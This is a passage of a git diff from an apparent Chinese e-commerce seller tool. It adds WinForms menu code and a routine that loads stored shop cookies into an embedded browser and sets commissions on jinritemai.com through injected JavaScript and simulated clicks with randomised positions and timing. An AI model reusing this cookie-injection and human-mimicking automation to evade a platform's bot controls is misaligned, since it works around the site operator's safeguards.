"panel3"; + this.panel3.Size = new System.Drawing.Size(793, 493); + this.panel3.TabIndex = 1; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.panel2.Controls.Add(this.lblName); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(793, 28); + this.panel2.TabIndex = 0; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(5, 6); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(57, 17); + this.lblName.TabIndex = 0; + this.lblName.Text = "lblName"; + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tv); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel1); + this.splitContainer1.Size = new System.Drawing.Size(934, 521); + this.splitContainer1.SplitterDistance = 140; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 3; + // + // tv + // + this.tv.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.tv.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tv.ChildNodeSelectedBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tv.Cursor = System.Windows.Forms.Cursors.Hand; + this.tv.Dock = System.Windows.Forms.DockStyle.Fill; + this.tv.DrawMode = System.Windows.Forms.TreeViewDrawMode.OwnerDrawAll; + this.tv.ExpandButtonColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(255))))); + this.tv.FullRowSelect = true; + this.tv.GroupBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.tv.GroupFont = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.tv.GroupTitleColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); + this.tv.HideCollapsedGroup = false; + this.tv.ItemHeight = 32; + this.tv.Location = new System.Drawing.Point(0, 0); + this.tv.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.tv.Name = "tv"; + treeNode1.Name = "商品发布"; + treeNode1.Text = "商品发布"; + treeNode2.Name = "佣金设置"; + treeNode2.Text = "佣金设置"; + treeNode3.Name = "净化数据"; + treeNode3.Text = "净化数据"; + treeNode4.Name = "产品数据库"; + treeNode4.Text = "产品数据库"; + treeNode5.Name = "商品上下架"; + treeNode5.Text = "商品上下架"; + treeNode6.Name = "清理无流量"; + treeNode6.Text = "清理无流量"; + treeNode7.Name = "库存管理"; + treeNode7.Text = "库存管理"; + treeNode8.Name = "特殊延迟发货"; + treeNode8.Text = "特殊延迟发货"; + treeNode9.Name = "云违规排查"; + treeNode9.Text = "云违规排查"; + treeNode10.Name = "跳转上家"; + treeNode10.Tag = "bottom"; + treeNode10.Text = "跳转上家"; + treeNode11.Name = "上传错误列表"; + treeNode11.Text = "上传错误列表"; + treeNode12.Name = "商品管理"; + treeNode12.Text = "商品管理"; + this.tv.Nodes.AddRange(new System.Windows.Forms.TreeNode[] { + treeNode12}); + this.tv.OverForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.tv.Size = new System.Drawing.Size(140, 521); + this.tv.TabIndex = 1; + this.tv.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.tv_AfterSelect); + // + // UploadForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(934, 521); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "UploadForm"; + this.Text = "UploadForms"; + this.Load += new System.EventHandler(this.ShopForm_Load); + this.panel1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private UserComponent.UcTreeView tv; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label lblName; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadForm.cs b/TEMUKJD/KJDForms/UploadForms/UploadForm.cs new file mode 100644 index 0000000..2c20642 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadForm.cs @@ -0,0 +1,169 @@ +using LittleRabbit.LittleRabbitForms.SalesCenterForms; +using LittleRabbit.LittleRabbitForms.ShopOptimizeForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class UploadForm : Form + { + public static UploadForm instance; + public Lazy uploadProductForm = new Lazy(); + public Lazy commissionForm = new Lazy(); + public Lazy cleanDataForm = new Lazy(); + public Lazy fissionDataBaseForm = new Lazy(); + public Lazy shopProductForm = new Lazy(); + public Lazy stockSyncForm = new Lazy(); + public Lazy specialDelaySendForm = new Lazy(); + public Lazy getUpProductForm = new Lazy(); + public Lazy violateManageForm = new Lazy(); + public Lazy uploadProductErrorForm = new Lazy(); + public Lazy clearNoVisitorForm = new Lazy(); + + public UploadForm() + { + InitializeComponent(); + } + + private void tv_AfterSelect(object sender, TreeViewEventArgs e) + { + instance = this; + + MainForm.sCurrentModule = e.Node.Name; + this.lblName.Text = e.Node.Text; + + //如果是一级菜单,不做任何动作 + if (e.Node.Parent == null) return; + new Thread(() => + { + Thread.Sleep(200); + Invoke(new Action(() => + { + switch (e.Node.Name) + { + case "商品发布": + SetForm(uploadProductForm.Value); + break; + case "佣金设置": + SetForm(commissionForm.Value); + break; + case "净化数据": + SetForm(cleanDataForm.Value); + break; + case "产品数据库": + SetForm(fissionDataBaseForm.Value); + break; + case "商品上下架": + SetForm(shopProductForm.Value); + break; + case "清理无流量": + SetForm(clearNoVisitorForm.Value); + break; + case "库存管理": + SetForm(stockSyncForm.Value); + break; + case "特殊延迟发货": + SetForm(specialDelaySendForm.Value); + break; + case "云违规排查": + SetForm(violateManageForm.Value); + break; + case "跳转上家": + SetForm(getUpProductForm.Value); + break; + case "上传错误列表": + SetForm(uploadProductErrorForm.Value); + break; + } + })); + }).Start(); + } + + public void SetTvSelect(string name) + { + var n = tv.Nodes[0].Nodes.Find(name, true); + if (n.Count() > 0) + tv.SelectedNode = n[0]; + } + + /// + /// 显示隐藏层 + /// + /// + private void SetForm(Form f) + { + if (f == null) + { + foreach (Control form in panel3.Controls) + { + form.Visible = false; + if (form is Form) + { + panel3.Controls.Remove(form); + } + } + return; + } + + bool had = false; + string sCurrentFormName = f.Name; + for (int i = 0; i < panel3.Controls.Count; i++) + { + if (sCurrentFormName == panel3.Controls[i].Name) + { + had = true; + panel3.Controls[i].Visible = true; + } + else + { + panel3.Controls[i].Visible = false; + } + } + if (had) + { + f = null; + return; + } + f.TopLevel = false; + f.Left = 0; + f.Top = 0; + f.FormBorderStyle = FormBorderStyle.None; + panel3.Controls.Add(f); + f.AutoSize = true; + f.Dock = DockStyle.Fill; + f.Show(); + } + + private void ShopForm_Load(object sender, EventArgs e) + { + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + + //List hideName = new List() { "特殊延迟发货", /*"清理无流量"*/ }; + //if (AllBase.BaseClass.UserName != "18888888888") + // hideName.Add("上传错误列表"); + + List hideName = new List() { "佣金设置", + "净化数据","产品数据库","商品上下架","清理无流量","库存管理","特殊延迟发货","云违规排查","上传错误列表","跳转上家" }; + + foreach (var item in hideName) + { + var n = tv.Nodes[0].Nodes.Find(item, true); + if (n.Count() > 0) + n[0].Remove(); + } + } + catch { } + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/UploadForm.resx b/TEMUKJD/KJDForms/UploadForms/UploadForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductCefForm.cs b/TEMUKJD/KJDForms/UploadForms/UploadProductCefForm.cs new file mode 100644 index 0000000..178060c --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductCefForm.cs @@ -0,0 +1,463 @@ +using AllBase.Helper; +using CefSharp; +using CefSharp.WinForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + /// + /// 主要用来设置上货佣金逻辑 + /// + public partial class UploadProductForm + { + ChromiumWebBrowser webBrowser = null; + UserControls.ButtonEx btn = null; + public void InitCommissionCef() + { + + Task.Run(() => + { + while (true) + { + Thread.Sleep(500); + if (!uploadParam.isSetCommission) + continue; + + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.Dock = DockStyle.Fill; + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.AddressChanged += WebBrowser_AddressChanged; + webBrowser.FrameLoadEnd += webBrowser_FrameLoadEnd; + webBrowser.SendToBack(); + this.Controls.Add(webBrowser); + + btn = new UserControls.ButtonEx(); + btn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + btn.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + btn.Cursor = System.Windows.Forms.Cursors.Hand; + btn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + btn.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + btn.ForeColor = System.Drawing.Color.White; + btn.Location = new System.Drawing.Point(this.Width - 82, 10); + btn.Margin = new System.Windows.Forms.Padding(2); + btn.Name = "btn"; + btn.Size = new System.Drawing.Size(72, 25); + btn.TabIndex = 390; + btn.Text = "隐藏"; + btn.UseVisualStyleBackColor = false; + btn.Click += Btn_Click; + Controls.Add(btn); + })); + } + + if (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var jsCode = "function closeMask() {" + + "if (document.body.innerHTML.indexOf('普通计划') < 0) return;" + + "var mask1 = document.getElementsByClassName('ant-modal-root')[0];" + + "if (mask1) mask1.parentNode.removeChild(mask1);" + + "var mask2 = document.getElementsByClassName('y-guide')[0];" + + "if (mask2) mask2.parentNode.removeChild(mask2);" + + "var mask3 = document.getElementById('browser-support-tip');" + + "if (mask3) mask3.parentNode.removeChild(mask3);" + + "}" + + "closeMask();"; + //var t = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + //t.Wait(3000); + + Thread.Sleep(500); + while (lstCommissionAddResult.Count > 0) + { + Thread.Sleep(10); + var commission = lstCommissionAddResult[0]; + var commissions = lstCommissionAddResult.Where(c => c.ShopName == commission.ShopName && c.Rate == commission.Rate).ToList(); + var shop = AllBase.Helper.GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccount == commission.ShopName); + if (shop == null) + { + lstCommissionAddResult.RemoveAll(s => s.ShopName == commission.ShopName); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("upload_commission_list", lstCommissionAddResult); + } + else + { + var productIds = ""; + var rate = commission.Rate; + for (int i = 0; i < 10 && i < commissions.Count; i++) + { + productIds += commissions[i].ProductId + ","; + } + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + webBrowser.Load("https://buyin.jinritemai.com/dashboard/activity/common-plan"); + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + for (int i = 0; i < 50; i++) + { + Thread.Sleep(2000); + var jsStr1 = clickJsElementStr + + "function clickBtn(txt) {\r\n" + + " if (document.body.innerHTML.indexOf('加载失败') >= 0)\r\n" + + " return '加载失败';\r\n" + + " var elem = getElement(txt);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickBtn('添加商品');\r\n"; + var t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + t1.Wait(); + if (t1.Result?.Result?.ToString() == "加载失败") + break; + if (t1.Result?.Result?.ToString() == "success") + { + Thread.Sleep(2000); + + string failMsg = ""; + + #region 选择批量查询选项 + var host = webBrowser.GetBrowser().GetHost(); + int x = 0, y = 0; + jsStr1 = "function getPos() { var box = document.getElementsByClassName('search-product-select');" + + "if (box[0] == null) return '-|-';" + + "var actualLeft = box[0].offsetLeft;" + + "var actualTop = box[0].offsetTop;" + + "var current = box[0].offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + var task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + var result = task.Result?.Result?.ToString(); + + if (result != null && result != "-|-") + { + var arr = result.Split('|'); + if (arr.Length == 2) + { + x = Convert.ToInt32(arr[0]); + y = Convert.ToInt32(arr[1]); + } + int x1 = x + new Random(DateTime.Now.Millisecond).Next(6, 30); + int y1 = y + new Random(DateTime.Now.Millisecond).Next(6, 16); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + + x1 = x + new Random(DateTime.Now.Millisecond).Next(6, 30); + y1 = y + new Random(DateTime.Now.Millisecond).Next(84, 94); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + } + else + { + failMsg = "佣金商品列表打开失败。"; + goto showFail; + } + #endregion + + #region 输入商品编号并查询 + jsStr1 = "function getPos() { var box = document.getElementsByClassName('ant-select-show-search');" + + "if (box[0] == null) return '-|-';" + + "var actualLeft = box[0].offsetLeft;" + + "var actualTop = box[0].offsetTop;" + + "var current = box[0].offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + result = task.Result?.Result?.ToString(); + + if (result != null && result != "-|-") + { + var arr = result.Split('|'); + if (arr.Length == 2) + { + x = Convert.ToInt32(arr[0]); + y = Convert.ToInt32(arr[1]); + } + int x1 = x + new Random(DateTime.Now.Millisecond).Next(6, 30); + int y1 = y + new Random(DateTime.Now.Millisecond).Next(6, 16); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + + Invoke(new Action(() => + { + Clipboard.Clear(); + Clipboard.SetDataObject("" + productIds.TrimEnd(',')); // 复制要搜索的商品ID到剪贴板 + })); + + // 黏贴 ctrl + v + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 86, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.ControlDown }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + } + else + { + failMsg = "查询设置佣金商品失败。"; + goto showFail; + } + + jsStr1 = "document.getElementsByClassName('search-btns-item-first')[0].click();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + #endregion + + #region 勾选商品信息 + jsStr1 = getFirstElementJsStr + + "\r\nfunction getInnerHtml() {\r\n" + + " var item = document.getElementsByClassName('ant-table-wrapper activity-list-table')[0];\r\n" + + " if (item) {\r\n" + + " return item.innerHTML;\r\n" + + " }\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "getInnerHtml();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + var idArray = productIds.TrimEnd(',').Split(','); + if (task.Result?.Result?.ToString() == null || !idArray.Any(a => task.Result.Result.ToString().Contains(a))) + { + failMsg = "设置佣金商品不存在。"; + goto showFail; + } + + jsStr1 = getFirstElementJsStr + + "\r\nfunction clickCheckBox() {\r\n" + + " var item = document.getElementsByClassName('ant-table-wrapper activity-list-table')[0];\r\n" + + " if (item) {\r\n" + + " var tHead = getFirstElement('THEAD', item)\r\n" + + " var tagItem = getFirstElement('INPUT', tHead)\r\n" + + " if (tagItem) tagItem.click(); return 'success';\r\n" + + " }\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickCheckBox();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + if (task.Result?.Result?.ToString() != "success") + { + failMsg = "设置佣金选择商品不存在。"; + goto showFail; + } + #endregion + + #region 点击确定设置佣金 + jsStr1 = "document.getElementsByClassName('exclusive_commodity-filter-drawer-footer-operations__operation ant-btn-primary')[0].click();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + #endregion + + #region 设置佣金金额 + jsStr1 = "function getPos() { var box = document.getElementsByClassName('ant-input-number-input');" + + "if (box[0] == null) return '-|-';" + + "var actualLeft = box[0].offsetLeft;" + + "var actualTop = box[0].offsetTop;" + + "var current = box[0].offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + result = task.Result?.Result?.ToString(); + + if (result != null && result != "-|-") + { + var arr = result.Split('|'); + if (arr.Length == 2) + { + x = Convert.ToInt32(arr[0]); + y = Convert.ToInt32(arr[1]); + } + int x1 = x + new Random(DateTime.Now.Millisecond).Next(30, 60); + int y1 = y + new Random(DateTime.Now.Millisecond).Next(6, 16); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(150 + new Random(DateTime.Now.Millisecond).Next(150)); + + // 模拟输入退格键 + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 8, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.None }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + // 模拟输入退格键 + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 8, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.None }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + + Invoke(new Action(() => + { + Clipboard.Clear(); + Clipboard.SetDataObject("" + rate); // 复制要搜索的商品ID到剪贴板 + })); + + // 黏贴 ctrl + v + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 86, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.ControlDown }); + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + } + else + { + failMsg = "佣金金额设置失败。"; + goto showFail; + } + #endregion + + #region 最后点击确定按钮设置佣金 + //apply-sample-modal-footer + jsStr1 = clickJsElementStr + + "function clickOkBtn(txt) {\r\n" + + " var elem = getElement(txt, document.getElementsByClassName('apply-sample-modal-footer')[0]);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickBtn('确定');\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + t1.Wait(); + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + #endregion + + Thread.Sleep(2000); + + //bool isRetry = false; + //Retry: + //var url = "https://buyin.jinritemai.com/api/promotion/createXdPromotions"; + ////if (!string.IsNullOrEmpty(sign)) + //// url += "?_signature=" + sign; + //var request = new CommonSimRequest(); + //var referer = "https://buyin.jinritemai.com/dashboard/activity/common-plan"; + //var data = "cos_ratio=" + rate + "&apply_style=1&product_ids=" + productIds.Trim(','); + //Dictionary headers = new Dictionary(); + //headers.Add("Origin", @"https://buyin.jinritemai.com"); + //var html = request.Request_Post(url, referer, headers, shop.Cookies, data); + //if (html.Contains("\"msg\":\"success\"") && html.Contains("\"failed_ids\":{}")) + //{ + //} + //else + //{ + // if (!isRetry) + // { + // isRetry = true; + // goto Retry; + // } + showFail: + if (!string.IsNullOrEmpty(failMsg)) + { + Invoke(new Action(() => + { + pnlShowError.Visible = true; + pnlShowError.Text = " 设置佣金部分失败:" + failMsg + " " + productIds.Trim(',') + " "; + this.pnlShowError.BringToFront(); + Task.Run(() => + { + Thread.Sleep(8000); + if (this.Created) + Invoke(new Action(() => + { + this.pnlShowError.Visible = false; + })); + }); + })); + } + //} + + var html = ""; + lock (lstCommissionAddResult) + { + try + { + //if (html.Contains("\"msg\":\"success\"") && html.Contains("\"failed_ids\":{}")) + { + lstCommissionAddResult.RemoveAll(s => productIds.Contains(s.ProductId.ToString()) || s.ProductId == 0); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("upload_commission_list", lstCommissionAddResult); + } + } + catch (Exception ex) { } + } + for (int k = 0; k < 600; k++) + { + Thread.Sleep(1000); + if (lstCommissionAddResult.Count > 10 || Work.BLL.Upload.UploadProductBLL.ProductStock.Count < 1) + break; + } + + break; + } + } + } + } + } + }); + } + + private void Btn_Click(object sender, EventArgs e) + { + this.webBrowser.SendToBack(); + btn.SendToBack(); + } + + private void WebBrowser_AddressChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + } + + private void webBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + } + + public string clickJsElementStr = "function getElement(txt, elem) {\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " return element1;\r\n" + + " } else return error;\r\n" + + "}\r\n"; + + public string getFirstElementJsStr = "function getFirstElement(tag_name, elem) {\r\n" + + " var nodes = [];\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " nodes.push(child);\r\n" + + " for (i = 0; i < nodes.length; i++) {\r\n" + + " if (nodes[i].tagName === tag_name) return nodes[i];\r\n" + + " for (j = 0; j < nodes[i].childNodes.length; j++) {\r\n" + + " var node = nodes[i].childNodes[j];\r\n" + + " if ((node.nodeType != 3) && (node.nodeName != 'SCRIPT')) {\r\n" + + " nodes.push(node);\r\n" + + " }\r\n" + + " }\r\n" + + " }\r\n" + + " return error;\r\n" + + "}\r\n"; + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.Designer.cs new file mode 100644 index 0000000..b9492c4 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.Designer.cs @@ -0,0 +1,389 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class UploadProductErrorForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + this.panel1 = new System.Windows.Forms.Panel(); + this.btnCancel = new LittleRabbit.UserControls.ButtonEx(); + this.btnSave = new LittleRabbit.UserControls.ButtonEx(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.buttonExportCsv = new LittleRabbit.UserControls.ButtonEx(); + this.btnAddToUpload = new LittleRabbit.UserControls.ButtonEx(); + this.dgvError = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColCatId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColFrom = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColProductId = new System.Windows.Forms.DataGridViewLinkColumn(); + this.ColError = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColRemark = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column3 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.btnImport = new LittleRabbit.UserControls.ButtonEx(); + this.btnOnlineSearch = new LittleRabbit.UserControls.ButtonEx(); + this.label2 = new System.Windows.Forms.Label(); + this.btnGetProp材质 = new LittleRabbit.UserControls.ButtonEx(); + this.btnGetDetail = new LittleRabbit.UserControls.ButtonEx(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvError)).BeginInit(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Anchor = System.Windows.Forms.AnchorStyles.None; + this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel1.Controls.Add(this.btnCancel); + this.panel1.Controls.Add(this.btnSave); + this.panel1.Controls.Add(this.textBox1); + this.panel1.Location = new System.Drawing.Point(351, 206); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(240, 135); + this.panel1.TabIndex = 380; + this.panel1.Visible = false; + // + // btnCancel + // + this.btnCancel.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancel.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCancel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + 